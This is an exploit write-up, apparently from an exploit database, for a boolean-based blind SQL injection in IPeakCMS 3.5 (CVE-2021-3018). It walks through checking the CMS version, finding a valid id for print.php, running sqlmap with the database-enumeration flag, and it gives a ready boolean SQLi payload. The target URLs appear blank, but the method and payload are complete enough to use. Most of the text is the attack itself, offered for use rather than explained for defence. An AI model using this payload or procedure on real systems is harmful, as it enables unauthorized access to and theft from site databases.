# Exploit Title: IPeakCMS 3.5 - Boolean-based blind SQLi  
# Date: 07.12.2020  
# Exploit Author: MoeAlbarbari  
# Vendor Homepage:  
# Software Link: N/A  
# Version: 3.5  
# Tested on: BackBox Linux  
# CVE : CVE-2021-3018  
Check the CMS version :goto and you will notice that in the login box there is the CMS name and its version   
Check if it's vulnerable, goto ->: if the print.php exists, then try to find any valid ID which returns page to print e.g:  
Parameter: id (GET based)  
Use SQLmap if you've found the valid id...  
e.g: sqlmap -u "" --dbs  
Payload : id=(SELECT (CASE WHEN(3104=3104) THEN 1 ELSE (SELECT 8458) END))